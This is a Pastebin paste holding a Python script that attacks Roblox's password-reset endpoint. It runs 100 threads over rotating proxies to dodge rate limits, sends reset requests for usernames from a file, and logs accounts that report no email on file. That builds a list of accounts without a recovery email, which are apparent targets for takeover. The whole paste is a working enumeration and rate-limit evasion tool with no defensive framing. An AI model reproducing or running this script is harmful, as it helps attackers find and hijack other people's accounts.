Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import threading
- usernames = [x for x in open("usernames.txt", encoding="UTF-8").read().splitlines()]
- proxies = open("proxies.txt").read().splitlines()
- output_file = open("noemail.txt", "a")
- def reset_password(un, proxy):
- req = requests.post(
- url="https://api.roblox.com/account/resetpassword",
- json={"username": un},
- proxies={"https":proxy}
- )
- print(req.text)
- return req.json()
- def thread():
- while True:
- try:
- username = usernames.pop()
- proxy = proxies.pop()
- # gotta make sure we have an up-to-date username
- username = requests.get(f"https://api.roblox.com/users/get-by-username?username={username}").json()["Username"]
- try:
- status = reset_password(username, proxy)["Message"]
- except:
- print(proxy,"fail")
- usernames.insert(0, username)
- continue
- if status == "Invalid username, or no email exists":
- output_file.write(username+"\n")
- output_file.flush()
- elif status == "Too many attempts. Please try again later.":
- usernames.insert(0, username)
- proxies.insert(0, proxy)
- except Exception as e:
- print(e)
- for i in range(100): threading.Thread(target=thread).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement